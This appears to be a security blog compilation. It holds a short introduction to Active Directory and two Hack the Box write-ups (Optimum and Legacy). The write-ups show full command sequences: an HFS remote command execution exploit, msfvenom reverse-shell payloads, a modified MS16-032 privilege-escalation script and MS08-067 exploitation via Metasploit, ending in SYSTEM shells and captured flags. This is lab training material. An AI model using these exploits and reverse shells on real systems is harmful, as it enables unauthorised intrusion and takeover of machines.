Attacking and Defending Active Directory Part I

Introduction

Microsoft Active Directory is one of the most interesting services to attack since we can gather a lot of information just by checking if the server is misconfigured which enables us to enumerate treasure trove of information like Domain Users, Administrative Shares, Password Policies and many more.

In this series, I will be separating this into three parts. The first part will include the introduction of Active Directory and its components.

The second part will include different types of attacks against Active Directory and the demonstration on how to execute these attacks.

And lastly, we’ll be covering different approaches in defending and reducing attack surfaces of Active Directory.

What is Active Directory?

Active Directory or AD is a centralized Windows OS directory service that stores information about objects on the network and automates the management of user data, security, and distributed resources.

Active Directory Components

Just to give you an overview of the different components of Active Directory, the Active Directory consists of:

  • Domains
  • Forests
  • Sites
  • Domain Controllers
  • Organizational Units (OU)

Each of these components has their own purpose that enables Active Directory to function within an organization.

I will just summarize the meanings and functions of these components but you can read more about Active Directory on the official documentation of Microsoft.

Domains

Active Directory domains are where the users and computers are located. Each domain holds a database that contains the information of an object’s identity.

For example, I have an AD domain called internal.anotsodev.org. This domain contains all the information of users and computers joined in this domain.

Forests

Active Directory forests are the topmost logical containers of the hierarchy. The illustration below shows the organizational domain forest model of internal.anotsodev.org.

Sites

Active Directory Domain Sites enables the users to authenticate with the nearest domain controller and provides domain preference either administrative or least privilege to the current logged in user.

Sites are organized by one or more IP subnets based on the geographic location of the domain users joined to a domain.

Domain Controllers

Active Directory Domain Controllers handles authentication requests and verifies users if they have access to domain resources. Domain Users’ preference and permissions are defined via group policy set to the Domain Controller.

Organizational Unit (OU)

An organizational unit (OU) is a subdivision within an Active Directory into which you can place users, groups, computers, and other organizational units. You can create organizational units to mirror your organization’s functional or business structure. Each domain can implement its own organizational unit hierarchy. If your organization contains several domains, you can create organizational unit structures in each domain that are independent of the structures in the other domains.


So that ends the first part of the “Attacking and Defending Active Directory” series.

I will be posting the second part of this series which is the actual attacks that are being used against active directories next week.

Stay tuned and be safe!

References:


Subscribe for more!

To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.

I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?

Hack the Box Optimum

This is a write-up of the retired Optimum box on Hack the Box.

First thing I did was to fire up nmap and ran this command.

nmap -sV -sC -oA optimum 10.10.10.8

And got this result.

Nmap scan report for 10.10.10.8
Host is up (0.42s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.77 seconds

So only port 80 was open and it was a HttpFileServer.

HTTP File Server, otherwise known as HFS, is a free web server specifically designed for publishing and sharing files. The complete feature set differs from other web servers; it lacks some common features, like CGI, or even ability to run as a Windows service, but includes, for example, counting file downloads. It is even advised against using it as an ordinary web server.

Source: https://en.wikipedia.org/wiki/HTTP_File_Server

I opened the service on the web browser and it was just a dashboard of the HFS.

The version of the HFS was 2.3 so I searchploited it.

root@kali:~/Documents/HTB/Optimum# searchsploit hfs
------------------------------------------------------------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------------------------------------- ----------------------------------
Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service | osx/dos/29454.txt
Apple Mac OSX 10.6 - HFS FileSystem Exploit (Denial of Service) | osx/dos/12375.c
Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure | osx/local/35488.c
Apple Mac OSX xnu 1228.x - (hfs-fcntl) Kernel Privilege Escalation | osx/local/8266.txt
FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution | windows/remote/37985.py
Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service | linux/dos/28895.txt
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities | windows/remote/31056.py
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution | windows/webapps/34852.txt
------------------------------------------------------------------------------------------------- ----------------------------------

So there were multiple exploits available for HFS version 2.3.

The first exploit that I used was this.

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py

I copied the exploit and named it as exploit.py on my directory. After I copied the exploit, I modified a few lines of codes and entered my IP address and local port number to listen to.

root@kali:~/Documents/HTB/Optimum# nano exploit.py

# changed the following lines
ip_addr = "10.10.14.116" #local IP address
local_port = "9999" # Local Port number

root@kali:~/Documents/HTB/Optimum# python exploit.py 
[.]Something went wrong..!
Usage is :[.] python exploit.py <Target IP address> <Target Port Number>
Don't forgot to change the Local IP address and Port number on the script
root@kali:~/Documents/HTB/Optimum# python exploit.py 10.10.10.8 80

# Open new Terminal Tab
root@kali:~/Documents/HTB/Optimum# nc -lvp 9999

After running the exploit and opened a new terminal for the netcat listener, I got an access to the shell. This means that the exploit worked, however, I was not able to do other things so I need to have a meterpreter access to run the privilege escalation suggester and use the suggested privesc exploits to have a root access on the system.

Good thing there was a metasploit module of the HFS exploit. So I fired up metasploit and used the exploit.

msf > search hfs

Matching Modules
================

Name Disclosure Date Rank Description
 ---- --------------- ---- -----------
 exploit/multi/http/git_client_command_exec 2014-12-18 excellent Malicious Git and Mercurial HTTP Server For CVE-2014-9390
 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Rejetto HttpFileServer Remote Command Execution
msf > use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec) > set RHOST 10.10.10.8
RHOST => 10.10.10.8
msf exploit(rejetto_hfs_exec) > set SRVPORT 7777
SRVPORT => 7777
msf exploit(rejetto_hfs_exec) > run

[*] Started reverse TCP handler on 10.10.14.116:4444 
[*] Using URL: http://0.0.0.0:7777/YqQuLmjEaXD
[*] Local IP: http://192.168.8.102:7777/YqQuLmjEaXD
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /YqQuLmjEaXD
[*] Sending stage (179267 bytes) to 10.10.10.8
[*] Meterpreter session 1 opened (10.10.14.116:4444 -> 10.10.10.8:49239) at 2017-10-14 09:51:34 -0400
[*] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\pCrVCNhk.vbs' on the target

Got a meterpreter session.

meterpreter >
meterpreter > sysinfo
Computer : OPTIMUM
OS : Windows 2012 R2 (Build 9600).
Architecture : x64
System Language : el_GR
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows

I needed to background first the session so that I am able to run the exploit suggester for windows.

meterpreter > background
[*] Backgrounding session 1...

msf exploit(rejetto_hfs_exec) > search suggester

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
post/multi/recon/local_exploit_suggester normal Multi Recon Local Exploit Suggester

msf exploit(rejetto_hfs_exec) > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(local_exploit_suggester) > run

[*] 10.10.10.8 - Collecting local exploits for x86/windows...
[*] 10.10.10.8 - 37 exploit checks are being tried...
[+] 10.10.10.8 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] 10.10.10.8 - exploit/windows/local/ms_ndproxy: The target service is running, but could not be validated.
[*] Post module execution completed
msf post(local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > 
msf exploit(ms16_032_secondary_logon_handle_privesc) > run
msf exploit(ms16_032_secondary_logon_handle_privesc) > set SESSION 2
[*] Started reverse TCP handler on 192.168.8.102:4444 
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\Desktop\cbOzoCyJAykO.txt...
[*] Compressing script contents...
[+] Compressed size: 3596
[*] Executing exploit script...

[+] Cleaned up C:\Users\kostas\Desktop\cbOzoCyJAykO.txt
[*] Exploit completed, but no session was created.
msf exploit(ms16_032_secondary_logon_handle_privesc) >

The ms16_032_secondary_logon_handle_privesc exploit was an exploit for Windows 2012 R2 (Build 9600) but it didn’t work and there was no session created. However, there was a manual exploit script for the ms16_032_secondary_logon_handle_privesc and I will use that exploit to have a root access on the system.

So I downloaded the exploit from exploitdb.

https://www.exploit-db.com/exploits/39719/

The exploit was a powershell script. So for the exploit to work, I needed to have an interactive powershell access on the system to run the script, so what I did was to create a reverse powershell payload using msfvenom.

root@kali:~/Documents/HTB/Optimum# msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.116 LPORT=5555 -f exe > shell.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1802 bytes
Final size of exe file: 8192 bytes

After the payload was created, I fired up metasploit on the other tab to use the handler to catch the reverse powershell.

Reverse Powershell Tab

msf > use exploit/multi/handler
msf exploit(handler) > set payload payload/windows/x64/powershell_reverse_tcp
[-] The value specified for payload is not valid.
msf exploit(handler) > set payload windows/x64/powershell_reverse_tcp
payload => windows/x64/powershell_reverse_tcp
msf exploit(handler) > set LHOST 10.10.14.116
LHOST => 10.10.14.116
msf exploit(handler) > set LPORT 5555
LPORT => 5555
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job 0.
msf exploit(handler) > 
[*] Started reverse SSL handler on 10.10.14.116:5555

msf exploit(handler) >

After creating the handler I uploaded and executed the reverse powershell.

meterpreter > pwd
C:\Users\kostas\Desktop
meterpreter > upload shell.exe
[*] uploading : shell.exe -> shell.exe
[*] uploaded : shell.exe -> shell.exe
meterpreter > execute -f shell.exe

On the Reverse Powershell Tab, I got a powershell session.

msf exploit(handler) > [*] Powershell session session 2 opened (10.10.14.116:5555 -> 10.10.10.8:49251) at 2017-10-14 10:22:40 -0400

So it’s time to modify the ms16-032 script to work.

# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Windows\System32\cmd.exe", "", #change this to your reverse shell.
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)

I needed to create another reverse shell using msfvenom and change a few line of codes in the ms16-032 script to execute the reverse shell as root.

# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Users\kostas\Desktop\yourrevshell.exe", "", #changed
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)

I needed to open another handler again on metasploit to catch the reverse shell and to have a root access on the system.

And after modifying the script and creating the handler, it’s time to execute the exploit using the interactive powershell.

Reverse Powershell Tab

PS C:\Users\kostas\Desktop> ./MS16-032.ps1
PS C:\Users\kostas\Desktop> Import-Module ./MS16-032.ps1
PS C:\Users\kostas\Desktop> Invoke-MS16-032
__ __ ___ ___ ___ ___ ___ ___ 
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
 
[by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 2172

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 2168
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

PS C:\Users\kostas\Desktop>

And on the reverse shell handler tab, you can see that it already caught the reverse shell executed by the exploit and there it goes, I already had a root access on the system.

Reverse Shell Tab

msf exploit(handler) > 
[*] Sending stage (179267 bytes) to 10.10.10.8
[*] Meterpreter session 2 opened (10.10.14.116:1337 -> 10.10.10.8:50253) at 2017-10-14 12:23:26 -0400

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 752 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
nt authority\system

C:\Users\kostas\Desktop>more user.txt.txt
more user.txt.txt
d0c39409d7b994a9a1389ebf38ef5f73

C:\Users\kostas\Desktop>cd C:\Users
cd C:\Users

C:\Users>cd Administrator
cd Administrator

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>more root.txt
more root.txt
51ed1b36553c8461f4552c2e92b3eeed

C:\Users\Administrator\Desktop>

I have now the user and root hashes of the box.


Subscribe for more!

To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.

I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?

Hack the Box Legacy Get System no Jutsu

This post contains the actual commands that I used in hacking and getting the user and root hashes on HTB Legacy Box.

Enumeration

kaipowered@debian:~/Downloads/enum4linux-0.8.9/enum4linux-0.8.9$ sudo ./enum4linux.pl -a 10.10.10.4
[sudo] password for kaipowered:
WARNING: ldapsearch is not in your path. Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jul 18 22:42:06 2017

==========================
| Target Information |
==========================
Target ........... 10.10.10.4
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none




==================================================
| Enumerating Workgroup/Domain on 10.10.10.4 |
==================================================
[+] Got domain/workgroup name: HTB

==========================================
| Nbtstat Information for 10.10.10.4 |
==========================================
Looking up status of 10.10.10.4
LEGACY <00> - B <ACTIVE> Workstation Service
HTB <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
LEGACY <20> - B <ACTIVE> File Server Service
HTB <1e> - <GROUP> B <ACTIVE> Browser Service Elections
HTB <1d> - B <ACTIVE> Master Browser
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser

MAC Address = 00-50-56-97-0E-E1

===================================
| Session Check on 10.10.10.4 |
===================================
[+] Server 10.10.10.4 allows sessions using username '', password ''

=========================================
| Getting domain SID for 10.10.10.4 |
=========================================
could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED
could not obtain sid from server
error: NT_STATUS_ACCESS_DENIED
[+] Can't determine if host is part of domain or part of a workgroup

====================================
| OS information on 10.10.10.4 |
====================================
[+] Got OS info for 10.10.10.4 from smbclient: Domain=[LEGACY] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]
[E] Can't get OS info with srvinfo: NT_STATUS_ACCESS_DENIED

===========================
| Users on 10.10.10.4 |
===========================
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

=======================================
| Share Enumeration on 10.10.10.4 |
=======================================
[E] Can't list shares: NT_STATUS_ACCESS_DENIED

[+] Attempting to map shares on 10.10.10.4

==================================================
| Password Policy Information for 10.10.10.4 |
==================================================
[E] Unexpected error from polenum.py:
Traceback (most recent call last):
File "/usr/local/bin/polenum.py", line 32, in <module>
from impacket import uuid
ImportError: No module named impacket
[E] Failed to get password policy with rpcclient




============================
| Groups on 10.10.10.4 |
============================

[+] Getting builtin groups:
[E] Can't get builtin groups: NT_STATUS_ACCESS_DENIED

[+] Getting builtin group memberships:

[+] Getting local groups:
[E] Can't get local groups: NT_STATUS_ACCESS_DENIED

[+] Getting local group memberships:

[+] Getting domain groups:
[E] Can't get domain groups: NT_STATUS_ACCESS_DENIED

[+] Getting domain group memberships:

=====================================================================
| Users on 10.10.10.4 via RID cycling (RIDS: 500-550,1000-1050) |
=====================================================================
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.

===========================================
| Getting printer info for 10.10.10.4 |
===========================================
could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED
could not obtain sid from server
error: NT_STATUS_ACCESS_DENIED



enum4linux complete on Tue Jul 18 22:42:49 2017

Exploitation and Post Exploitation

msf exploit(ms06_040_netapi) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)




Exploit target:

Id Name
-- ----
0 Automatic Targeting




msf exploit(ms08_067_netapi) > set RHOST 10.10.10.4
RHOST => 10.10.10.4
msf exploit(ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.15.172:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (956991 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.15.172:4444 -> 10.10.10.4:1028) at 2017-07-18 22:26:33 +0800

meterpreter > sysinfo
Computer : LEGACY
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell
Process 1512 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd c:\Users
cd c:\Users
The system cannot find the path specified.

C:\WINDOWS\system32>cd C
cd C
The system cannot find the path specified.

C:\WINDOWS\system32>cd C:\
cd C:\

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\

16/03/2017 08:30 �� 0 AUTOEXEC.BAT
16/03/2017 08:30 �� 0 CONFIG.SYS
16/03/2017 09:07 �� <DIR> Documents and Settings
16/03/2017 08:33 �� <DIR> Program Files
16/03/2017 08:33 �� <DIR> WINDOWS
2 File(s) 0 bytes
3 Dir(s) 6.488.408.064 bytes free

C:\>cd WINDOWS
cd WINDOWS

C:\WINDOWS>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\WINDOWS

16/03/2017 08:33 �� <DIR> .
16/03/2017 08:33 �� <DIR> ..
23/07/2017 07:19 �� 0 0.log
16/03/2017 08:18 �� <DIR> addins
16/03/2017 08:19 �� <DIR> AppPatch
23/08/2001 03:00 �� 1.272 Blue Lace 16.bmp
23/08/2001 03:00 �� 82.944 clock.avi
16/03/2017 08:27 �� 200 cmsetacl.log
23/08/2001 03:00 �� 17.062 Coffee Bean.bmp
16/03/2017 08:32 �� 15.905 comsetup.log
16/03/2017 08:18 �� <DIR> Config
16/03/2017 08:18 �� <DIR> Connection Wizard
16/03/2017 08:30 �� 0 control.ini
16/03/2017 08:28 �� <DIR> Cursors
16/03/2017 08:20 �� <DIR> Debug
23/08/2001 03:00 �� 2 desktop.ini
16/03/2017 08:18 �� <DIR> Driver Cache
16/03/2017 08:28 �� 130 DtcInstall.log
16/03/2017 08:19 �� <DIR> ehome
14/04/2008 06:42 �� 1.033.728 explorer.exe
23/08/2001 03:00 �� 80 explorer.scf
16/03/2017 08:29 �� 11.537 FaxSetup.log
23/08/2001 03:00 �� 16.730 FeatherTexture.bmp
23/08/2001 03:00 �� 17.336 Gone Fishing.bmp
23/08/2001 03:00 �� 26.582 Greenstone.bmp
16/03/2017 08:29 �� <DIR> Help
14/04/2008 06:42 �� 10.752 hh.exe
16/03/2017 08:32 �� 48.335 iis6.log
16/03/2017 08:30 �� <DIR> ime
16/03/2017 08:32 �� 4.382 imsins.log
16/03/2017 08:18 �� <DIR> java
16/03/2017 08:19 �� <DIR> L2Schemas
16/03/2017 08:29 �� 1.487 MedCtrOC.log
16/03/2017 08:19 �� <DIR> Media
16/03/2017 08:19 �� <DIR> msagent
16/03/2017 08:18 �� <DIR> msapps
23/08/2001 03:00 �� 1.405 msdfmap.ini
16/03/2017 08:29 �� 871 msgsocm.log
16/03/2017 08:28 �� 10.066 msmqinst.log
16/03/2017 08:19 �� <DIR> mui
16/03/2017 08:29 �� 2.790 netfxocm.log
16/03/2017 08:19 �� <DIR> Network Diagnostic
14/04/2008 06:42 �� 69.120 NOTEPAD.EXE
16/03/2017 08:32 �� 7.948 ntdtcsetup.log
16/03/2017 08:29 �� 14.772 ocgen.log
16/03/2017 08:32 �� 885 ocmsn.log
16/03/2017 08:30 �� 4.161 ODBCINST.INI
16/03/2017 09:07 �� 1.178 OEWABLog.txt
16/03/2017 08:29 �� <DIR> Offline Web Pages
16/03/2017 08:29 �� <DIR> pchealth
16/03/2017 08:19 �� <DIR> PeerNet
23/08/2001 03:00 �� 65.954 Prairie Wind.bmp
16/03/2017 09:18 �� <DIR> Prefetch
16/03/2017 08:18 �� <DIR> Provisioning
14/04/2008 06:42 �� 146.432 regedit.exe
16/03/2017 08:30 �� <DIR> Registration
16/03/2017 08:32 �� 8.192 REGLOCS.OLD
16/03/2017 08:24 �� 1.690 regopt.log
16/03/2017 08:18 �� <DIR> repair
16/03/2017 08:18 �� <DIR> Resources
23/08/2001 03:00 �� 17.362 Rhododendron.bmp
23/08/2001 03:00 �� 26.680 River Sumida.bmp
23/08/2001 03:00 �� 65.832 Santa Fe Stucco.bmp
11/05/2017 01:31 �� 1.306 SchedLgU.Txt
16/03/2017 08:30 �� <DIR> security
16/03/2017 08:29 �� 1.022 sessmgr.setup.log
14/04/2008 08:40 �� 1.296.669 SET3.tmp
14/04/2008 08:34 �� 1.088.840 SET4.tmp
14/04/2008 08:34 �� 16.535 SET8.tmp
16/03/2017 08:32 �� 159.934 setupact.log
11/05/2017 01:31 �� 196.252 setupapi.log
16/03/2017 08:20 �� 0 setuperr.log
16/03/2017 08:33 �� 747.894 setuplog.txt
23/08/2001 03:00 �� 65.978 Soap Bubbles.bmp
16/03/2017 08:33 �� <DIR> SoftwareDistribution
16/03/2017 08:29 �� <DIR> srchasst
16/03/2017 08:22 �� 0 Sti_Trace.log
16/03/2017 08:20 �� <DIR> system
16/03/2017 08:20 �� 231 system.ini
23/07/2017 07:23 �� <DIR> system32
16/03/2017 08:32 �� 1.252 tabletoc.log
23/08/2001 03:00 �� 15.360 TASKMAN.EXE
11/05/2017 01:30 �� <DIR> Temp
16/03/2017 08:32 �� 10.801 tsoc.log
23/08/2001 03:00 �� 94.784 twain.dll
16/03/2017 08:18 �� <DIR> twain_32
14/04/2008 06:42 �� 50.688 twain_32.dll
23/08/2001 03:00 �� 49.680 twunk_16.exe
23/08/2001 03:00 �� 25.600 twunk_32.exe
16/03/2017 08:28 �� 36 vb.ini
16/03/2017 08:28 �� 37 vbaddin.ini
23/08/2001 03:00 �� 18.944 vmmreg32.dll
16/03/2017 08:29 �� <DIR> Web
16/03/2017 08:22 �� 501 wiadebug.log
16/03/2017 08:22 �� 49 wiaservc.log
16/03/2017 08:30 �� 477 win.ini
23/07/2017 07:24 �� 11.076 WindowsUpdate.log
23/08/2001 03:00 �� 256.192 winhelp.exe
14/04/2008 06:42 �� 283.648 winhlp32.exe
16/03/2017 08:20 �� <DIR> WinSxS
16/03/2017 09:07 �� 1.107 wmsetup.log
16/03/2017 08:30 �� 316.640 WMSysPr9.prx
23/08/2001 03:00 �� 9.522 Zapotec.bmp
23/08/2001 03:00 �� 707 _default.pif
68 File(s) 6.455.564 bytes
36 Dir(s) 6.488.403.968 bytes free

C:\WINDOWS>dir system
dir system
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\WINDOWS\system

16/03/2017 08:20 �� <DIR> .
16/03/2017 08:20 �� <DIR> ..
23/08/2001 03:00 �� 69.584 AVICAP.DLL
23/08/2001 03:00 �� 109.456 AVIFILE.DLL
23/08/2001 03:00 �� 32.816 COMMDLG.DLL
23/08/2001 03:00 �� 2.000 KEYBOARD.DRV
23/08/2001 03:00 �� 9.936 LZEXPAND.DLL
23/08/2001 03:00 �� 73.376 MCIAVI.DRV
23/08/2001 03:00 �� 25.264 MCISEQ.DRV
23/08/2001 03:00 �� 28.160 MCIWAVE.DRV
13/04/2008 11:24 �� 68.768 MMSYSTEM.DLL
23/08/2001 03:00 �� 1.152 MMTASK.TSK
23/08/2001 03:00 �� 2.032 MOUSE.DRV
23/08/2001 03:00 �� 126.912 MSVIDEO.DLL
23/08/2001 03:00 �� 82.944 OLECLI.DLL
23/08/2001 03:00 �� 24.064 OLESVR.DLL
23/08/2001 03:00 �� 59.167 setup.inf
23/08/2001 03:00 �� 5.120 SHELL.DLL
23/08/2001 03:00 �� 1.744 SOUND.DRV
23/08/2001 03:00 �� 5.532 stdole.tlb
23/08/2001 03:00 �� 3.360 SYSTEM.DRV
23/08/2001 03:00 �� 19.200 TAPI.DLL
23/08/2001 03:00 �� 4.048 TIMER.DRV
23/08/2001 03:00 �� 9.008 VER.DLL
23/08/2001 03:00 �� 2.176 VGA.DRV
23/08/2001 03:00 �� 13.600 WFWNET.DRV
14/04/2008 06:42 �� 146.432 WINSPOOL.DRV
25 File(s) 925.851 bytes
2 Dir(s) 6.488.403.968 bytes free

C:\WINDOWS>dir ehome
dir ehome
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\WINDOWS\ehome

16/03/2017 08:19 �� <DIR> .
16/03/2017 08:19 �� <DIR> ..
14/04/2008 06:41 �� 33.792 custsat.dll
1 File(s) 33.792 bytes
2 Dir(s) 6.488.403.968 bytes free

C:\WINDOWS>dir temp
dir temp
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\WINDOWS\temp

11/05/2017 01:30 �� <DIR> .
11/05/2017 01:30 �� <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 6.488.395.776 bytes free

C:\WINDOWS>cd ..
cd ..

C:\>cd "Documents and Settings"
cd "Documents and Settings"

C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings

16/03/2017 09:07 �� <DIR> .
16/03/2017 09:07 �� <DIR> ..
16/03/2017 09:07 �� <DIR> Administrator
16/03/2017 08:29 �� <DIR> All Users
16/03/2017 08:33 �� <DIR> john
0 File(s) 0 bytes
5 Dir(s) 6.488.395.776 bytes free

C:\Documents and Settings>cd john
cd john

C:\Documents and Settings\john>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\john

16/03/2017 08:33 �� <DIR> .
16/03/2017 08:33 �� <DIR> ..
16/03/2017 09:19 �� <DIR> Desktop
16/03/2017 08:33 �� <DIR> Favorites
16/03/2017 08:33 �� <DIR> My Documents
16/03/2017 08:20 �� <DIR> Start Menu
0 File(s) 0 bytes
6 Dir(s) 6.488.395.776 bytes free

C:\Documents and Settings\john>cd Desktop
cd Desktop

C:\Documents and Settings\john\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\john\Desktop

16/03/2017 09:19 �� <DIR> .
16/03/2017 09:19 �� <DIR> ..
16/03/2017 09:19 �� 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 6.488.395.776 bytes free

C:\Documents and Settings\john\Desktop>edit user.txt
edit user.txt
^C
Terminate channel 1? [y/N] y
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > cd C:\Documents and Settings\john\Desktop
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd C:
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > lpwd
/home/kaipowered/Documents/HTB
meterpreter > cd C:\
meterpreter > pwd
C:\
meterpreter > cd "Documents and Settings"
meterpreter > pwd
C:\Documents and Settings
meterpreter > cd john
meterpreter > cd Desktop
meterpreter > download user.txt
[*] Downloading: user.txt -> user.txt
[*] Downloaded 32.00 B of 32.00 B (100.0%): user.txt -> user.txt
[*] download : user.txt -> user.txt
meterpreter > pwd
C:\Documents and Settings\john\Desktop
meterpreter > cd ..
meterpreter > cd ..
meterpreter > pwd
C:\Documents and Settings
meterpreter > dir
Listing: C:\Documents and Settings
==================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:21 +0800 Administrator
40777/rwxrwxrwx 0 dir 2017-03-16 13:29:48 +0800 All Users
40777/rwxrwxrwx 0 dir 2017-03-16 13:33:37 +0800 Default User
40777/rwxrwxrwx 0 dir 2017-03-16 13:32:52 +0800 LocalService
40777/rwxrwxrwx 0 dir 2017-03-16 13:32:43 +0800 NetworkService
40777/rwxrwxrwx 0 dir 2017-03-16 13:33:42 +0800 john

meterpreter > cd Administrator
meterpreter > dir
Listing: C:\Documents and Settings\Administrator
================================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:29 +0800 Application Data
40777/rwxrwxrwx 0 dir 2017-03-16 13:32:27 +0800 Cookies
40777/rwxrwxrwx 0 dir 2017-03-16 14:18:27 +0800 Desktop
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:32 +0800 Favorites
40777/rwxrwxrwx 0 dir 2017-03-16 13:20:48 +0800 Local Settings
